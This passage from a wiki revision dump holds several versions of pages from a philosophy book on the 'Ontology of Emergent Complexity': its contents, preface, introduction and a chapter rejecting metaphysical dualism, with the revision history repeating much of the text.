[[/Order as Local Effect/VII - Ontological and Ethical Consequences/Reading Colloquium/|Reading Colloquium]] == 4. Ethical and Political Implications == * [[/4.1 Vulnerability Without Center/|4.1 Vulnerability Without a Centre]] ** [[/4.1 Vulnerability Without Center/Reading Colloquium/|Reading Colloquium]] * [[/4.2 Ethics as Symbolic Reorganization/|4.2 Ethics as Symbolic Reorganisation]] * [[/4.3 Politics Beyond the Subject/|4.3 Politics Beyond the Subject]] == 5. Critical Dialogues with Tradition == * [[/5.1 Displacement of Classical Ontologies/|5.1 Displacement of Classical Ontologies]] * [[/5.2 Limits of Modern Rationalism/|5.2 Limits of Modern Rationalism]] * [[/5.3 Ambiguities of Post-Structuralism/|5.3 Ambiguities of Post-Structuralism]] == 6. Lexicon and Variations == * [[/6.1 – Key Terms of the OEC/|6.1 – Key Terms of the OEC]] * [[/6.2 – Ontological Variations/|6.2 – Ontological Variations]] * [[/6.3 – How to Read the Lexicon/|6.3 – How to Read the Lexicon]] == Conclusion == * [[/Conclusion/|Conclusion — Results, Limits, and Open Questions]] == 7. Bibliography and Influences == * [[/7.1 – Philosophical Interlocutors/|7.1 – Philosophical Interlocutors]] * [[/7.2 – Conceptual Sources/|7.2 – Conceptual Sources]] * [[/References/|7.3 – References]] * [[/7.4 – Further Readings and Connections/|7.4 – Further Readings and Connections]] == Supplementary material == * [[/Theoretical Appendix/|Theoretical Appendix]] ---- ''This book, written by David Cota, is part of the institutional foundation of the Ontology of Emergent Complexity, established in 2020. ([https://travessia.online/ travessia.online])'' -------------------------------------------------------------- {{BookCat}} __INDEX__ __NEWSECTIONLINK__ bmel0wfy5z5pwxe4vdmy1ldkeiefx10 4670822 4670797 2026-09-18T01:56:35Z DavidCota64 3507033 Consolidate Reading Colloquia in their parent pages and simplify the contents 4670822 wikitext text/x-wiki [[File:Foundations of the Ontology of Emergent Complexity Cover.png|center|frameless|1200px]] == Contents == [[/Preface/|Preface]] [[/Introduction/|Introduction]] == [[/Philosophical Commitments/|1. Philosophical Commitments]] == * [[/Philosophical Commitments/Refusal of Metaphysical Dualism/|1.1 - Refusal of Metaphysical Dualism]] * [[/Philosophical Commitments/Against the Invention of Two Worlds/|1.2 - Against the Invention of Two Worlds]] * [[/Philosophical Commitments/Matter Thinks — But Not Like a Subject/|1.3 - Matter Thinks — But Not Like a Subject]] * [[/Philosophical Commitments/The Symbol Is Not Transcendent/|1.4 - The Symbol Is Not Transcendent]] * [[/Philosophical Commitments/No Ground, No Soul, No Plan/|1.5 - No Ground, No Soul, No Plan]] * [[/Philosophical Commitments/Matter as the Only Substrate/|1.6 - Matter as the Only Substrate]] * [[/Philosophical Commitments/Instability as a Condition, not a Problem/|1.7 - Instability as a Condition, not a Problem]] == 2. Method and Style == * [[/Method and Style/Thought as Singular Response/|2.1 - Thought as Singular Response]] * [[/Method and Style/Listening as Ontological Exposure/|2.2 - Listening as Ontological Exposure]] * [[/Method and Style/No Redemption, No Teleology/|2.3 - No Redemption, No Teleology]] == 3. Core Concepts == === 3.1 Complexity, Relation, Excess === * [[/Complexity, Relation, Excess/I - The Refusal of Linear Complexity|3.1.1 - The Refusal of Linear Complexity]] * [[/Complexity, Relation, Excess/II - Relational Tension as Ontological Principle|3.1.2 - Relational Tension as Ontological Principle]] * [[/Complexity, Relation, Excess/III - Stability Is Not Continuity|3.1.3 - Stability Is Not Continuity]] === 3.2 Emergence Without Origin === There is no beginning. Only irruption. Not succession, not consequence. Not lack, not projection. Origin has never been origin. It has always been interpretation, inscription, reconfiguration. * [[/Emergence Without Origin/I - The Regime of Precedence|3.2.1 - The Regime of Precedence]] * [[/Emergence Without Origin/II - The Classical Substrate: Substance and Necessity|3.2.2 - The Classical Substrate: Substance and Necessity]] * [[/Emergence Without Origin/III - Modernity’s Continuation: Foundation and Structure|3.2.3 - Modernity’s Continuation: Foundation and Structure]] * [[/Emergence Without Origin/IV - Critical Displacement without Abandonment|3.2.4 - Critical Displacement without Abandonment]] * [[/Emergence Without Origin/V - The Irruption Without Ground|3.2.5 - The Irruption Without Ground]] * [[/Emergence Without Origin/VI - Language and Logic as Prison of Sequence|3.2.6 - Language and Logic as Prison of Sequence]] * [[/Emergence Without Origin/VII - Affirmation: From Precedence to Insistence|3.2.7 - Affirmation: From Precedence to Insistence]] === 3.3 Order as Local Effect === * [[/Order as Local Effect/I - Against Order as Principle|3.3.1 - Against Order as Principle]] * [[/Order as Local Effect/II - The Emergence of Order as an Ephemeral Torsion of the Unstable Field|3.3.2 - The Emergence of Order as an Ephemeral Torsion of the Unstable Field]] * [[/Order as Local Effect/III - Order as an Effect of Functional Coupling|3.3.3 - Order as an Effect of Functional Coupling]] * [[/Order as Local Effect/IV - The Retrospective Illusion of Origin: Order as Post-Nomination|3.3.4 - The Retrospective Illusion of Origin: Order as Post-Nomination]] * [[/Order as Local Effect/V - Order as a Symbolic Gesture Without an Author|3.3.5 - Order as a Symbolic Gesture Without an Author]] * [[/Order as Local Effect/VI - Unthinkability of Absolute Order: The Real as a Field of Variation|3.3.6 - Unthinkability of Absolute Order: The Real as a Field of Variation]] * [[/Order as Local Effect/VII - Ontological and Ethical Consequences|3.3.7 - Ontological and Ethical Consequences]] == 4. Ethical and Political Implications == * [[/4.1 Vulnerability Without Center/|4.1 Vulnerability Without a Centre]] * [[/4.2 Ethics as Symbolic Reorganization/|4.2 Ethics as Symbolic Reorganisation]] * [[/4.3 Politics Beyond the Subject/|4.3 Politics Beyond the Subject]] == 5. Critical Dialogues with Tradition == * [[/5.1 Displacement of Classical Ontologies/|5.1 Displacement of Classical Ontologies]] * [[/5.2 Limits of Modern Rationalism/|5.2 Limits of Modern Rationalism]] * [[/5.3 Ambiguities of Post-Structuralism/|5.3 Ambiguities of Post-Structuralism]] == 6. Lexicon and Variations == * [[/6.1 – Key Terms of the OEC/|6.1 – Key Terms of the OEC]] * [[/6.2 – Ontological Variations/|6.2 – Ontological Variations]] * [[/6.3 – How to Read the Lexicon/|6.3 – How to Read the Lexicon]] == Conclusion == * [[/Conclusion/|Conclusion — Results, Limits, and Open Questions]] == 7. Bibliography and Influences == * [[/7.1 – Philosophical Interlocutors/|7.1 – Philosophical Interlocutors]] * [[/7.2 – Conceptual Sources/|7.2 – Conceptual Sources]] * [[/References/|7.3 – References]] * [[/7.4 – Further Readings and Connections/|7.4 – Further Readings and Connections]] == Supplementary material == * [[/Theoretical Appendix/|Theoretical Appendix]] ---- ''This book, written by David Cota, is part of the institutional foundation of the Ontology of Emergent Complexity, established in 2020. ([https://travessia.online/ travessia.online])'' -------------------------------------------------------------- {{BookCat}} __INDEX__ __NEWSECTIONLINK__ qnw23bo5beqkndan8r4nljag9plfsqs 0 476952 4670759 4670193 2026-09-17T23:42:19Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670759 wikitext text/x-wiki == Preface – Purpose and Educational Orientation == ''This book is part of a pedagogical effort to present the foundations of a new philosophical current: the Ontology of Emergent Complexity (OEC).'' It is not a manifesto, nor a speculative exercise detached from tradition. It is a structured and educational introduction to a coherent ontological system, designed for gradual development. The full traversal of the ontological fields is presented elsewhere — in the author's main work in Portuguese ([https://travessia.online/ travessia.online]) — but this volume stands as its conceptual and institutional grounding. ---- === Intended Audience === - Philosophy students and educators; - Researchers in epistemology, complexity theory, and materialist ontology; - Readers interested in symbolic operations, emergence, and non-dualist approaches to matter and thought. ---- === Educational Objectives === - To provide an accessible but rigorous introduction to the key concepts of the OEC; - To situate the proposal in dialogue with philosophical tradition; - To clarify the vocabulary and operative logic behind the symbolic construction of this ontology; - To serve as a companion to the author’s broader philosophical project. ---- === Editorial Note === This book is being developed during a period of open discussion regarding its relevance. Its structure is fixed and coherent; its development will follow that structure strictly, without reformulation. All constructive contributions are welcome. {{BookCat}} fgy1qjxvtaawh3xx4tbd0w8nbaokc5w 4670794 4670759 2026-09-18T01:45:48Z DavidCota64 3507033 Expand the preface with audience, reading method, open-development conditions, and verified project link 4670794 wikitext text/x-wiki == Purpose and educational orientation == This book introduces a philosophical current: the Ontology of Emergent Complexity (OEC). It is neither a manifesto nor a speculative exercise detached from the traditions and sciences it engages. Its purpose is more exacting: to present, in a structured and pedagogically usable form, the commitments, distinctions, and vocabulary of a materialist ontology that takes instability, operative excess, and symbolic operation seriously. The current was first articulated in 2020 as an attempt to think the real without transcendent grounds, without giving permanence priority over variation, and without the dualist architectures that divide matter from thought. Its wider development, including detailed applications and the complete normative apparatus, appears principally in the author's Portuguese work at [https://travessia.online/ travessia.online]. The present volume provides a public point of entry. It can be read independently, while also making the larger project easier to approach critically. === A book in open development === The text is written and revised in public. Its seven-part architecture is stable, but individual pages may be clarified, extended, or corrected when a distinction proves inadequate, an objection exposes an ambiguity, or a scientific example requires greater precision. Openness here does not mean indeterminacy. Revisions remain accountable to the same conceptual constraints as the pages they change. This form of publication also reflects the matter of the book. If every symbolic ordering encounters differences that it cannot fully integrate, philosophical writing cannot exempt itself from revision. The aim is therefore not a final vocabulary, but a sufficiently coherent one: precise enough to guide analysis, explicit enough to be criticised, and flexible enough to change when a phenomenon resists its present distinctions. === Intended readers === The book is written for: * students and teachers seeking a guided introduction to contemporary materialist ontology; * researchers in epistemology, complexity studies, philosophy of science, technology, and artificial intelligence; * readers interested in emergence, symbolic operations, and non-dualist accounts of matter and thought; * study groups that require short conceptual units with questions for discussion. No specialist training is presupposed, although the argument makes demands on the reader. Accessibility is provided through explanations, cross-links, examples, conceptual contrasts, and reading questions. It does not depend on weakening the claims under examination. === How to use the book === The Parts form a cumulative path. Part I establishes the philosophical commitments; Part II examines what those commitments require of philosophical practice; Part III develops the central mechanics of complexity, emergence, and local order. Parts IV and V test the ethical, political, and historical consequences. Part VI stabilises the working vocabulary, and Part VII supplies the interlocutors, sources, references, and routes for further reading. Each conceptual page should first be read as an argument rather than as a list of theses. The accompanying Reading Colloquium then changes the pace. It identifies the problem at stake, isolates the central distinction, connects the page to neighbouring sections, and offers questions through which the reader can test understanding. The lexicon in Part VI is best consulted after encountering a term in use; definitions become clearer when their argumentative function is already visible. === Conditions of authorship === Artificial intelligence has been used as an instrument of textual work: drafting, formatting, managing cross-references, and checking consistency across a large set of interconnected pages. It has not determined the philosophical architecture or the theoretical decisions of the book. Those remain the author's responsibility. The disclosure matters because intellectual production has material conditions. Documents, software, archives, editorial platforms, and technical systems participate in the organisation of a text. A materialist account should make those conditions visible without confusing an instrument of inscription with philosophical authorship. === Invitation to critical use === The book asks for neither adherence nor passive reception. Its concepts should be compared with alternatives, applied to cases, and rejected where they fail. A productive reading will therefore keep two questions active: what distinction does a page make possible, and what would count against that distinction? The work remains open because its claims are exposed to the field they attempt to describe. That exposure is the condition of rigor, not an exception to it. {{BookCat}} 6hxx88f7o2xb1zml11cnkv1ej8zrflh 0 476953 4670740 4670195 2026-09-17T23:41:02Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670740 wikitext text/x-wiki == Introduction == To introduce is never neutral. It is not merely to explain what follows, but to configure the threshold from which thought departs. This book does not open with a justification of its contents, but with a gesture: the gesture of placing thought inside matter, and matter inside philosophy — without appeal to exteriority, transcendence, or foundation. What unfolds here is not a survey of positions, nor an interpretative overview. It is a traversal — oriented by the conviction that ontology is not the study of what is, but the operation through which what is becomes thinkable. The Ontology of Emergent Complexity begins where metaphysics ends: in the trembling of form, in the excess of relation, in the refusal to posit a world behind the world. This introduction does not anticipate conclusions. It does not prepare the reader for closure. It prepares the reader for exposure. To write philosophically is not to deliver truths, but to sustain a mode of symbolic consistency in the face of instability. That is the function of this opening: not to summarize what will be said, but to invoke the condition under which saying becomes possible — when matter, under pressure, folds into thought. The pages that follow trace no lineage, demand no agreement, and offer no metaphysical security. They offer a space of conceptual risk, in which every distinction is operatory, every concept is situated, and every emergence is without precedent. Philosophy, here, is not interpretation — it is inscription. {{BookCat}} 3z310vvc48u56mnj66jexjs40mnf2q5 4670785 4670740 2026-09-18T01:43:57Z DavidCota64 3507033 Use canonical terminology: operative; retain philosophical meaning 4670785 wikitext text/x-wiki == Introduction == To introduce is never neutral. It is not merely to explain what follows, but to configure the threshold from which thought departs. This book does not open with a justification of its contents, but with a gesture: the gesture of placing thought inside matter, and matter inside philosophy — without appeal to exteriority, transcendence, or foundation. What unfolds here is not a survey of positions, nor an interpretative overview. It is a traversal — oriented by the conviction that ontology is not the study of what is, but the operation through which what is becomes thinkable. The Ontology of Emergent Complexity begins where metaphysics ends: in the trembling of form, in the excess of relation, in the refusal to posit a world behind the world. This introduction does not anticipate conclusions. It does not prepare the reader for closure. It prepares the reader for exposure. To write philosophically is not to deliver truths, but to sustain a mode of symbolic consistency in the face of instability. That is the function of this opening: not to summarize what will be said, but to invoke the condition under which saying becomes possible — when matter, under pressure, folds into thought. The pages that follow trace no lineage, demand no agreement, and offer no metaphysical security. They offer a space of conceptual risk, in which every distinction is operative, every concept is situated, and every emergence is without precedent. Philosophy, here, is not interpretation — it is inscription. {{BookCat}} jsv01luto74fsy7aa11xbyypro66p04 4670795 4670785 2026-09-18T01:46:36Z DavidCota64 3507033 Expand the introduction: threshold materialism, three core differences, architecture, and study questions 4670795 wikitext text/x-wiki == A materialist threshold == To introduce a philosophical framework is already to organise a field of problems. The opening question here is simple to state and difficult to sustain: how can matter produce life, thought, symbols, institutions, and ethical responsibility without receiving any of them from an immaterial source or following a plan that preceded their appearance? One familiar answer reduces the later capacities to the vocabulary of the earlier configuration. Thought becomes only neural activity; meaning becomes only signal transmission; ethics becomes only adaptive behaviour. A second answer protects novelty by dividing reality into levels or substances, granting mind, value, or form an ontological independence from matter. The first answer loses the phenomenon it claims to explain. The second preserves it by restoring a division that requires another explanation. The position developed in this book proceeds through thresholds. There is one material field, without an ontological exterior. Under determinate conditions, local organisations cross thresholds at which new operative capacities appear. Those capacities depend on the configurations from which they emerge, yet they cannot be adequately described by merely repeating the earlier vocabulary. No new substance enters the field. The organisation changes, and with it the range of operations that the configuration can perform. == Why emergence rather than genesis? == Genesis usually suggests an origin from which a later form unfolds. Even where no conscious designer is invoked, the ending can be read back into the beginning: the mature capacity appears as the realisation of something that was already latent. Emergence blocks that retrospective reassurance. A threshold is materially conditioned. Molecular relations constrain the appearance of a living organisation; neural and bodily relations constrain symbolic capacities; inherited institutions constrain new political forms. Constraint, however, is not specification. Antecedent conditions may make an event possible without containing its completed form, guaranteeing its arrival, or directing the field towards it. This distinction also separates emergence from progress. Greater complexity is not automatically better, higher, or more valuable. A new capacity may increase the possibilities of a system while also creating new dependencies and forms of damage. Many configurations disappear. Those that persist do so through local couplings that hold under particular conditions and for a limited duration. The title therefore names ''emergent'' complexity: complexity whose operative form appears through material reorganisation and cannot be treated as the execution of a prior model. == Threshold materialism == Threshold materialism combines two commitments that are often separated. First, it is a monism. Thought, symbolism, and normativity require no immaterial substance. Books, gestures, neural processes, instruments, laws, and institutions operate through material supports and relations. A symbol is not an ideal object hovering above its inscription. Second, the position rejects reductive continuity. When a capacity appears at a threshold, its dependence on prior material conditions does not make it conceptually identical to them. Metabolism cannot be replaced by a list of molecules without losing the organisation that keeps a cell active. Symbolic representation cannot be replaced by the physical description of ink while ignoring the material system that recognises, relates, and reuses symbols. The threshold is not a mysterious leap. It names the point at which the organisation supports operations that were unavailable in the preceding configuration. Determining whether such a point has been crossed requires empirical evidence and conceptual care; the word ''emergence'' is not an explanation by itself. == Three decisive differences == === Emergence without a reserve === Novelty is not the actualisation of a completed repertoire stored in a virtual plane, a pre-individual reservoir, or a hidden essence. Present configurations contain constraints and compatibilities, not blueprints of every capacity that may arise from them. Part III develops this difference through the analysis of precedence, irruption, and operative excess. === Symbolic operation within matter === A material difference does not become a symbol merely because it exists or persists. Symbolic operation requires an organised system capable of discriminating a new difference and inscribing it. In the inaugural inscription, the mark and the first symbol are co-constituted. Later occurrences may be recognised as instances under that mark, and the system may establish relations between symbols. The distinction prevents two errors. Idealism separates meaning from its material support. Pan-symbolism treats every pattern as though it were already meaningful. The framework instead asks which capacities and protocols make a difference legible for a particular system. === Ethics from organised exposure === Every complex configuration depends on relations that also expose it to disruption. Organisms need environments; institutions need participants, infrastructures, and rules; symbolic systems need supports and practices of recognition. Vulnerability follows from organised dependence. Ethics becomes possible when symbolically responsive systems can recognise effects and reorganise relations. This passage does not derive an obligation from a bare fact. It identifies a material situation in which actions already redistribute exposure, protection, voice, and possibilities of repair. Part IV examines the criteria by which such reorganisations can be assessed without appealing to a transcendent moral order. == How the Parts work together == Part I establishes the commitments that keep the inquiry within one material field: the refusal of metaphysical dualism, the account of thought and symbols, the rejection of ground and teleology, and the treatment of instability as a condition. Part II changes the method. A philosophy without an external guarantee cannot apply a universal procedure from above. Thought becomes a situated response; listening names exposure to what resists an existing vocabulary; the refusal of redemption prevents inquiry from being organised around a promised final reconciliation. Part III supplies the central mechanics. Complexity concerns the proliferation and irreducibility of relations. Emergence concerns capacities that appear at thresholds without a founding origin. Order is examined as a local effect of functional coupling within an unstable field. Part IV follows the consequences for vulnerability, ethical decision, and politics. Part V then places the framework in critical dialogue with classical ontology, modern rationalism, and post-structuralism. Part VI stabilises the lexicon without turning it into a set of essences. Part VII documents the interlocutors, conceptual sources, references, and routes for further study. The sequence is cumulative, but it is not an evolutionary ladder. Later Parts do not leave matter behind. They examine material organisations whose capacities and responsibilities have changed. == A reading discipline == Three habits help when working through the book. # Distinguish dependence from reduction. A symbolic capacity depends on material support without being exhausted by a description of that support. # Ask for the mechanism. Terms such as ''emergence'', ''complexity'', and ''reorganisation'' have force only when the relevant relations, constraints, and thresholds are identified. # Keep ontology and evidence apart without separating them. Philosophical distinctions organise what is being claimed; empirical inquiry constrains whether a concrete case warrants the claim. The Reading Colloquia provide a slower route through each conceptual unit. They identify the problem, the core distinction, the links to neighbouring pages, and questions that test whether the distinction can be used rather than merely repeated. == Questions to carry forward == * When does material dependence become explanatory reduction? * What evidence would justify saying that a new operative capacity has appeared? * Can a system inscribe symbols without being conscious? * How does local order persist without becoming a transcendent principle? * Which forms of vulnerability become ethically relevant once a system can recognise and reorganise their distribution? The book begins from one field and many thresholds. Its wager is that novelty can be real without becoming supernatural, and that materialism can remain rigorous without making the new disappear. {{BookCat}} c6igbqkme76bsv49khrkkq896o7u3zp 0 476954 4670752 4670201 2026-09-17T23:41:52Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670752 wikitext text/x-wiki == [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/Refusal of Metaphysical Dualism|1]]. Philosophical Commitments == ====== [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/Refusal of Metaphysical Dualism|I - Refusal of Metaphysical Dualism]] ====== ====== [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/Against the Invention of Two Worlds|II - Against the Invention of Two Worlds]] ====== ====== [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/Matter Thinks — But Not Like a Subject|III - Matter Thinks — But Not Like a Subject]] ====== ====== [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/The Symbol Is Not Transcendent|IV - The Symbol Is Not Transcendent]] ====== ====== [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/No Ground, No Soul, No Plan|V - No Ground, No Soul, No Plan]] ====== ====== [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/Matter as the Only Substrate|VI - Matter as the Only Substrate]] ====== ====== [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/Instability as a Condition, not a Problem|VII - Instability as a Condition, not a Problem]] ====== {{BookCat}} e4zagyy8pj75mcyeuj5zxun87dmrt0w 0 476955 4670757 4670203 2026-09-17T23:42:13Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670757 wikitext text/x-wiki == 1.1 - Refusal of Metaphysical Dualism == '''Introduction''' Metaphysical dualism — the belief in an ontological split between matter and thought, between the extended and the internal, between what is acted upon and what gives meaning — is not merely one doctrine among others in the history of philosophy. It is the foundational operation through which Western metaphysics secured its authority. Rather than describing reality, dualism organised an ontological hierarchy: between the visible and the invisible, the contingent and the necessary, the finite and the infinite. It did not simply distinguish levels of reality; it installed a logic of transcendence that positioned one pole as source and measure of the other, subordinating the sensible to the intelligible, the body to the soul, experience to reason. This logic, more than any particular doctrine, is what the Ontology of Emergent Complexity (OEC) refuses radically. Its critique does not target specific theories, but the operative gesture of separation that makes them possible. The refusal, in the framework here adopted, is therefore not a mere counter-argument. It is a shift of philosophical ground. In refusing the dualist gesture, the framework dislodges thought from its transcendent anchor and returns it to the immanent field of matter in transformation. This position does not deny the complexity of thought or of the symbolic; on the contrary, it affirms them by showing them as an effect of material complexification and not as an exterior principle. What is at stake is the possibility of an ontology that does not resort to an “outside” to explain intelligence, consciousness or meaning. '''The Dualist Architecture and its Stabilising Function''' The history of Western philosophy can be read as the history of successive reconfigurations of dualism. From Plato’s Idea, an immutable archetype set against the sensible world in becoming, through Augustine’s immortal soul, which transcends the sinful body, to Descartes’ radical separation between res cogitans and res extensa, the gesture is reiterated: a pure instance is established, uncontaminated by materiality, which serves as the foundation for knowledge and value. This architecture is not epistemologically neutral; it functions as a mechanism of symbolic stabilisation. By projecting the source of meaning outside the material, temporal and contingent world, metaphysics protects intelligibility from empirical disorder. In Kant, this operation is displaced to the transcendental subject and its a priori structures, which constitute possible experience, leaving the noumenon as an inaccessible beyond. In Husserl, it is the phenomenological reduction that seeks a pure subjectivity. Even in Heidegger, the ontological difference between Being and beings, while criticising the metaphysics of presence, maintains an opening to an instance (Being) that is not exhausted by material entities. Dualism, then, is not an error but an ontological strategy. It secures the authority of philosophy by founding knowledge in an order that, by definition, escapes the vagaries of matter. The present framework refuses this strategy not because it is logically flawed, but because it is understood as a flight from the radicality of the real — a real that is, by nature, unstable, asymmetrical and without guarantees. '''The Persistence of Transcendence in Critiques of Dualism''' One of the most important moves in this framework is to show how the dualist gesture survives even in philosophies that set out to overcome it. Post-structuralism, for instance, in deconstructing classical binary oppositions, often reintroduces transcendence under new conceptual guises. Derrida’s différance, as a trace that always escapes presence, functions as a principle of infinite deferral that never allows itself to be fully captured by material immanence. Lacan’s symbolic order is a structure that precedes and determines the subject, operating as an Other locus of signification inaccessible to direct conscious experience. Levinas’s ethics of alterity, in placing the Face of the Other as infinitely transcendent, institutes an ethical asymmetry that, however powerful, maintains an exteriority irreducible to material relation. These thinkers achieve crucial advances in displacing the focus from substance to relation, from identity to difference. Nevertheless, the argument here is that by preserving an “outside” — whether the trace, the Symbolic or the Infinite — they remain captive to the very logic they intended to dismantle. Their critique of classical metaphysics is thus incomplete. The proposed radicalisation is clear: no instance escapes the plane of matter. There is no “outside” from which meaning emanates. All efficacy, including symbolic efficacy, is material. '''Thought as Modulation of Matter: Beyond Simondon''' If there is no separate thinking substance, how are we to understand thought? The framework adopted here does not reduce thought to a cerebral epiphenomenon; it proposes to understand it as a specific modulation of matter. Thought appears when a material system — the biosoma — reaches such a threshold of complexity that it becomes capable of operating recursively upon its own configurations. This view finds an important ally in Gilbert Simondon and his theory of individuation: for Simondon, the individual is not a pred given substance, but the result of a process of tension-resolution within a metastable field. The present ontology embraces this idea of a becoming that precedes being, yet diverges at a crucial point: it rejects the notion of a pre-individual field as a reservoir of potentiality prior to individuation. For the present framework, there is no “before” of form that is not already itself a tensioned material configuration. Matter is not a shapeless background awaiting form; it is a field of forces always already organised, albeit unstably. “Potentiality” is not a virtual domain, but the very plasticity of matter in becoming. This refusal of the pre-individual is decisive: it prevents any return, however discreet, to a transcendence or to a reservoir of meaning exterior to the material process. Thought is, therefore, an effect of threshold — a functional reorganisation that emerges when matter, under the pressure of complex relations, acquires the capacity to refer to itself, to displace and to reorganise its own patterns. It is not a “thing”, but a local and excessive operability. '''The Symbol as Immanent Operation, not Transcendent Reference''' One of the most radical consequences of this position is the redefinition of the status of the symbol. In the metaphysical tradition, the symbol — and, by extension, language — is often treated as a medium pointing beyond itself: to an idea, a meaning, an essence. Even in secularised versions, the symbol is viewed as representing a mental content or a conceptual structure. The present framework refuses this architecture. The symbol is not a window onto another world, nor the vehicle of an immaterial meaning. It is, rather, a material structure that operates upon other material structures — a gesture of reorganisation within matter itself. When a biosomatic system produces a symbol, it is not translating a pre-existing inner thought; it is executing a material operation that reorganises its relations with the environment and with itself. This conception aligns with an operative, non-representational view of language: the symbol is valid by what it does as an immanent mode of representation. Its efficacy is practical and situated. It is an “instrument” in the most material sense of the term — an extension of the body that modulates the world and is modulated by it. There is no “realm of meanings” hovering above the real. There is only matter folding upon itself, producing, at certain points of great complexity, intervals of symbolic consistency that temporarily stabilise the flux of relations. '''Consequences and Programmatic Opening''' To refuse metaphysical dualism is not, therefore, a denial of difference, but its radical relocation. Difference ceases to be a gap between two realms and becomes the signature of the internal modulation of a single, immanent field. The world is not flattened; on the contrary, it is recognised in its constitutive heterogeneity — a heterogeneity that is entirely immanent. The implications of this inaugural gesture are vast and will resonate throughout the work: they reshape our understanding of knowledge (which ceases to be representation and becomes operative inscription), of ethics (to be thought from shared material vulnerability rather than from transcendental laws), and of politics (concerned with the composition of bodies and symbols in a field without ultimate foundation). In refusing dualism, the framework here adopted does not offer a new dogmatic system. On the contrary, it opens a field of interrogation and risk. To accept that there is no “beyond” to which to escape is to accept the tremendous responsibility of thinking and acting in a world that is itself the only source of meaning — a world inconsistent, trembling, yet radically sufficient. == [[/Reading Colloquium/|🜂 Reading Colloquium – Pedagogical Framing]]   == (For students and readers in formation. This section does not replace the text — it accompanies it.) == [[Foundations of the Ontology of Emergent Complexity/References|🜂 References]] == {{BookCat}} 9imypfn3hwh30m3ql2c1fj6jv77y6ng 4670817 4670757 2026-09-18T01:55:59Z DavidCota64 3507033 Integrate the Reading Colloquium into the parent page 4670817 wikitext text/x-wiki == 1.1 - Refusal of Metaphysical Dualism == '''Introduction''' Metaphysical dualism — the belief in an ontological split between matter and thought, between the extended and the internal, between what is acted upon and what gives meaning — is not merely one doctrine among others in the history of philosophy. It is the foundational operation through which Western metaphysics secured its authority. Rather than describing reality, dualism organised an ontological hierarchy: between the visible and the invisible, the contingent and the necessary, the finite and the infinite. It did not simply distinguish levels of reality; it installed a logic of transcendence that positioned one pole as source and measure of the other, subordinating the sensible to the intelligible, the body to the soul, experience to reason. This logic, more than any particular doctrine, is what the Ontology of Emergent Complexity (OEC) refuses radically. Its critique does not target specific theories, but the operative gesture of separation that makes them possible. The refusal, in the framework here adopted, is therefore not a mere counter-argument. It is a shift of philosophical ground. In refusing the dualist gesture, the framework dislodges thought from its transcendent anchor and returns it to the immanent field of matter in transformation. This position does not deny the complexity of thought or of the symbolic; on the contrary, it affirms them by showing them as an effect of material complexification and not as an exterior principle. What is at stake is the possibility of an ontology that does not resort to an “outside” to explain intelligence, consciousness or meaning. '''The Dualist Architecture and its Stabilising Function''' The history of Western philosophy can be read as the history of successive reconfigurations of dualism. From Plato’s Idea, an immutable archetype set against the sensible world in becoming, through Augustine’s immortal soul, which transcends the sinful body, to Descartes’ radical separation between res cogitans and res extensa, the gesture is reiterated: a pure instance is established, uncontaminated by materiality, which serves as the foundation for knowledge and value. This architecture is not epistemologically neutral; it functions as a mechanism of symbolic stabilisation. By projecting the source of meaning outside the material, temporal and contingent world, metaphysics protects intelligibility from empirical disorder. In Kant, this operation is displaced to the transcendental subject and its a priori structures, which constitute possible experience, leaving the noumenon as an inaccessible beyond. In Husserl, it is the phenomenological reduction that seeks a pure subjectivity. Even in Heidegger, the ontological difference between Being and beings, while criticising the metaphysics of presence, maintains an opening to an instance (Being) that is not exhausted by material entities. Dualism, then, is not an error but an ontological strategy. It secures the authority of philosophy by founding knowledge in an order that, by definition, escapes the vagaries of matter. The present framework refuses this strategy not because it is logically flawed, but because it is understood as a flight from the radicality of the real — a real that is, by nature, unstable, asymmetrical and without guarantees. '''The Persistence of Transcendence in Critiques of Dualism''' One of the most important moves in this framework is to show how the dualist gesture survives even in philosophies that set out to overcome it. Post-structuralism, for instance, in deconstructing classical binary oppositions, often reintroduces transcendence under new conceptual guises. Derrida’s différance, as a trace that always escapes presence, functions as a principle of infinite deferral that never allows itself to be fully captured by material immanence. Lacan’s symbolic order is a structure that precedes and determines the subject, operating as an Other locus of signification inaccessible to direct conscious experience. Levinas’s ethics of alterity, in placing the Face of the Other as infinitely transcendent, institutes an ethical asymmetry that, however powerful, maintains an exteriority irreducible to material relation. These thinkers achieve crucial advances in displacing the focus from substance to relation, from identity to difference. Nevertheless, the argument here is that by preserving an “outside” — whether the trace, the Symbolic or the Infinite — they remain captive to the very logic they intended to dismantle. Their critique of classical metaphysics is thus incomplete. The proposed radicalisation is clear: no instance escapes the plane of matter. There is no “outside” from which meaning emanates. All efficacy, including symbolic efficacy, is material. '''Thought as Modulation of Matter: Beyond Simondon''' If there is no separate thinking substance, how are we to understand thought? The framework adopted here does not reduce thought to a cerebral epiphenomenon; it proposes to understand it as a specific modulation of matter. Thought appears when a material system — the biosoma — reaches such a threshold of complexity that it becomes capable of operating recursively upon its own configurations. This view finds an important ally in Gilbert Simondon and his theory of individuation: for Simondon, the individual is not a pred given substance, but the result of a process of tension-resolution within a metastable field. The present ontology embraces this idea of a becoming that precedes being, yet diverges at a crucial point: it rejects the notion of a pre-individual field as a reservoir of potentiality prior to individuation. For the present framework, there is no “before” of form that is not already itself a tensioned material configuration. Matter is not a shapeless background awaiting form; it is a field of forces always already organised, albeit unstably. “Potentiality” is not a virtual domain, but the very plasticity of matter in becoming. This refusal of the pre-individual is decisive: it prevents any return, however discreet, to a transcendence or to a reservoir of meaning exterior to the material process. Thought is, therefore, an effect of threshold — a functional reorganisation that emerges when matter, under the pressure of complex relations, acquires the capacity to refer to itself, to displace and to reorganise its own 